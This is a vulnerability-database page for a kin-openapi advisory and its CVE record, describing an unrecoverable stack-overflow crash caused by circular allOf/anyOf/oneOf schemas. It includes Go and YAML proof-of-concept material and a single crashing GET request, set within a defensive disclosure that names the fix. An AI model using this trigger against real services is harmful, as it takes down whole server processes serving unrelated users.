Vulnerability-Lookup

GHSA-G8CF-RCJF-C8CF

Vulnerability from github – Published: 2026-10-15 20:20 – Updated: 2026-10-15 20:20

Summary

kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash

Details

Summary

kin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular $refs on purpose (to support recursive data structures), and Schema.validate() uses stack-based cycle detection. Validate() therefore accepts a schema whose allOf / anyOf / oneOf chain refers back to itself, returning no error.

The runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a fatal stack overflow (runtime: goroutine stack exceeds ... limit / fatal error: stack overflow), which is not a recoverable panic. recover() cannot catch it, so net/http's per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.

Two independent unguarded recursion sites were confirmed:

openapi3/schema.go — visitJSON / visitXOFOperations (reached by VisitJSON, i.e. response validation and direct schema validation).
openapi3filter/req_resp_decoder.go — decodeValue (reached first during request parameter decoding). The report also identifies the same gap in urlValuesDecoder.parseValue and buildResObj/buildFromSchemas.

Details

Root Cause

Schema.validate() has cycle detection (openapi3/schema.go:1396):

func (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {
    if slices.Contains(stack, schema) {
        return stack, nil
    }
    // ...
    stack = append(stack, schema)

The runtime visitor has none. visitJSON (line 1951) calls visitXOFOperations (line 2189), which iterates the combinator slice and calls visitJSON again on each sub-schema:

func (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {
    // ...
    for idx, item := range v { // v = schema.OneOf / AnyOf / AllOf
        v := item.Value
        // no check for item.Value == schema (or any ancestor)
        if err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle

The request-decoding path has the same structure in decodeValue (openapi3filter/req_resp_decoder.go:270):

func decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {
    if len(schema.Value.AllOf) > 0 {
        for _, sr := range schema.Value.AllOf {
            value, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check

Proof of Concept

Environment

kin-openapi v0.144.0 (tag v0.144.0, commit f0407d5)
Go 1.26.7

Path A: response / direct schema validation (`VisitJSON`)

A schema whose allOf refers to itself. Validate() is called first to show the schema is accepted, then VisitJSON():

recursiveSchema := &openapi3.Schema{
    Type:       &openapi3.Types{"object"},
    Properties: openapi3.Schemas{"name": {Value: &openapi3.Schema{Type: &openapi3.Types{"string"}}}},
}
recursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular

_ = recursiveSchema.Validate(ctx)                       // accepted, no error
_ = recursiveSchema.VisitJSON(map[string]any{"name": "test"}) // crashes

Output:

Validate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it
Calling VisitJSON() -- expect fatal stack overflow (unrecoverable)...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow

goroutine 1 [running]:
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
    openapi3/schema.go:1951
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
    openapi3/schema.go:2309
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
    openapi3/schema.go:1981
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
    openapi3/schema.go:2309
... (repeats until stack overflow)

A defer recover() placed around the call did not catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.

Path B: HTTP request validation against a loaded spec (realistic delivery)

A legal OAS 3.0 spec with a circular allOf $ref, loaded normally, served behind a standard net/http handler using openapi3filter.ValidateRequest:

openapi: '3.0.0'
info: { title: Circular allOf crash PoC, version: '1.0' }
paths:
  /test:
    get:
      parameters:
        - name: data
          in: query
          schema: { $ref: '#/components/schemas/Recursive' }
      responses: { '200': { description: OK } }
components:
  schemas:
    Recursive:
      type: object
      allOf:
        - $ref: '#/components/schemas/Recursive'
      properties:
        name: { type: string }

A single GET /test?data=x crashes the whole server process:

Validate() ACCEPTED the spec with circular allOf $ref
Sending GET /test?data=x through a real net/http server...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
...
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
    openapi3filter/req_resp_decoder.go:278
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
    openapi3filter/req_resp_decoder.go:278
... (repeats until stack overflow)

The line printed after the request ("the process survived") was never reached, and the process exited with a non-zero code — the standard net/http per-connection recover() did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.

Fix verification

Adding stack-based cycle detection to both sites (matching validate()'s pattern) eliminated the crash:

visitJSON guard: VisitJSON() returned normally instead of crashing.
decodeValue guard: the same GET /test?data=x returned a clean 400:

Response: 400 "invalid: parameter \"data\" in query has an error: circular schema reference detected while decoding"
If you see this line, the process survived.

Impact

An unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by net/http's per-request recovery, so A:H applies to all host types, unlike a recoverable-panic bug.

Attack surface, in order of exposure:

Applications that load OpenAPI specs from untrusted or semi-trusted sources (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.
Applications serving a fixed, trusted spec that happens to contain a circular allOf/anyOf/oneOf. Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/getkin/kin-openapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.149.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-100354"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-15T20:20:37Z",
    "nvd_published_at": "2026-10-15T17:17:07Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nkin-openapi\u0027s spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error.\n\nThe runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a **fatal stack overflow** (`runtime: goroutine stack exceeds ... limit` / `fatal error: stack overflow`), which is **not** a recoverable panic. `recover()` cannot catch it, so `net/http`\u0027s per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.\n\nTwo independent unguarded recursion sites were confirmed:\n\n1. `openapi3/schema.go` \u2014 `visitJSON` / `visitXOFOperations` (reached by `VisitJSON`, i.e. response validation and direct schema validation).\n2. `openapi3filter/req_resp_decoder.go` \u2014 `decodeValue` (reached first during request parameter decoding). The report also identifies the same gap in `urlValuesDecoder.parseValue` and `buildResObj`/`buildFromSchemas`.\n\n## Details \n### Root Cause\n\n`Schema.validate()` has cycle detection (`openapi3/schema.go:1396`):\n\n```go\nfunc (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {\n\tif slices.Contains(stack, schema) {\n\t\treturn stack, nil\n\t}\n\t// ...\n\tstack = append(stack, schema)\n```\n\nThe runtime visitor has none. `visitJSON` (line 1951) calls `visitXOFOperations` (line 2189), which iterates the combinator slice and calls `visitJSON` again on each sub-schema:\n\n```go\nfunc (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {\n\t// ...\n\tfor idx, item := range v { // v = schema.OneOf / AnyOf / AllOf\n\t\tv := item.Value\n\t\t// no check for item.Value == schema (or any ancestor)\n\t\tif err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle\n```\n\nThe request-decoding path has the same structure in `decodeValue` (`openapi3filter/req_resp_decoder.go:270`):\n\n```go\nfunc decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {\n\tif len(schema.Value.AllOf) \u003e 0 {\n\t\tfor _, sr := range schema.Value.AllOf {\n\t\t\tvalue, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check\n```\n\n## Proof of Concept\n\n### Environment\n\n- kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`)\n- Go 1.26.7\n\n### Path A: response / direct schema validation (`VisitJSON`)\n\nA schema whose `allOf` refers to itself. `Validate()` is called first to show the schema is accepted, then `VisitJSON()`:\n\n```go\nrecursiveSchema := \u0026openapi3.Schema{\n\tType:       \u0026openapi3.Types{\"object\"},\n\tProperties: openapi3.Schemas{\"name\": {Value: \u0026openapi3.Schema{Type: \u0026openapi3.Types{\"string\"}}}},\n}\nrecursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular\n\n_ = recursiveSchema.Validate(ctx)                       // accepted, no error\n_ = recursiveSchema.VisitJSON(map[string]any{\"name\": \"test\"}) // crashes\n```\n\nOutput:\n\n```\nValidate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it\nCalling VisitJSON() -- expect fatal stack overflow (unrecoverable)...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n\ngoroutine 1 [running]:\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1951\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1981\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\n... (repeats until stack overflow)\n```\n\nA `defer recover()` placed around the call did **not** catch the fatal error \u2014 the process aborted with a non-zero exit code, confirming it is unrecoverable.\n\n### Path B: HTTP request validation against a loaded spec (realistic delivery)\n\nA legal OAS 3.0 spec with a circular `allOf` `$ref`, loaded normally, served behind a standard `net/http` handler using `openapi3filter.ValidateRequest`:\n\n```yaml\nopenapi: \u00273.0.0\u0027\ninfo: { title: Circular allOf crash PoC, version: \u00271.0\u0027 }\npaths:\n  /test:\n    get:\n      parameters:\n        - name: data\n          in: query\n          schema: { $ref: \u0027#/components/schemas/Recursive\u0027 }\n      responses: { \u0027200\u0027: { description: OK } }\ncomponents:\n  schemas:\n    Recursive:\n      type: object\n      allOf:\n        - $ref: \u0027#/components/schemas/Recursive\u0027\n      properties:\n        name: { type: string }\n```\n\nA single `GET /test?data=x` crashes the whole server process:\n\n```\nValidate() ACCEPTED the spec with circular allOf $ref\nSending GET /test?data=x through a real net/http server...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n...\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\n... (repeats until stack overflow)\n```\n\nThe line printed after the request (\"the process survived\") was never reached, and the process exited with a non-zero code \u2014 the standard `net/http` per-connection `recover()` did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.\n\n### Fix verification\n\nAdding stack-based cycle detection to both sites (matching `validate()`\u0027s pattern) eliminated the crash:\n\n- `visitJSON` guard: `VisitJSON()` returned normally instead of crashing.\n- `decodeValue` guard: the same `GET /test?data=x` returned a clean `400`:\n\n```\nResponse: 400 \"invalid: parameter \\\"data\\\" in query has an error: circular schema reference detected while decoding\"\nIf you see this line, the process survived.\n```\n\n## Impact\n\nAn unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by `net/http`\u0027s per-request recovery, so **A:H applies to all host types**, unlike a recoverable-panic bug.\n\nAttack surface, in order of exposure:\n\n- **Applications that load OpenAPI specs from untrusted or semi-trusted sources** (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.\n- **Applications serving a fixed, trusted spec that happens to contain a circular `allOf`/`anyOf`/`oneOf`.** Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.",
  "id": "GHSA-g8cf-rcjf-c8cf",
  "modified": "2026-10-15T20:20:37Z",
  "published": "2026-10-15T20:20:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-g8cf-rcjf-c8cf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100354"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/commit/9245cef66c840e27a08409a8a5cd0ee930c5bcff"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkin/kin-openapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.149.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash"
}

CVE-2026-100354 (GCVE-0-2026-100354)

Vulnerability from cvelistv5 – Published: 2026-10-15 16:02 – Updated: 2026-10-15 18:31

Title

kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash

Summary

kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-15 18:31 UTC

CWE

CWE-674 - Uncontrolled Recursion

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7681 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/getkin/kin-openapi/security/ad…	x_refsource_CONFIRM
https://github.com/getkin/kin-openapi/commit/9245…	x_refsource_MISC
https://github.com/getkin/kin-openapi/releases/ta…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
getkin	kin-openapi	Affected: < 0.149.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-100354",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-15T18:31:31.817575Z",
                "version": "2.0.3"
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          "dateUpdated": "2026-10-15T18:31:51.798Z",
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        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-g8cf-rcjf-c8cf"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "kin-openapi",
          "vendor": "getkin",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.149.0"
            }
          ]
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        {
          "lang": "en",
          "value": "kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0."
        }
      ],
      "metrics": [
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            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

GHSA-G8CF-RCJF-C8CF

Summary

Details

Root Cause

Proof of Concept

Environment

Path A: response / direct schema validation (VisitJSON)

Path B: HTTP request validation against a loaded spec (realistic delivery)

Fix verification

Impact

CVE-2026-100354 (GCVE-0-2026-100354)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour

Path A: response / direct schema validation (`VisitJSON`)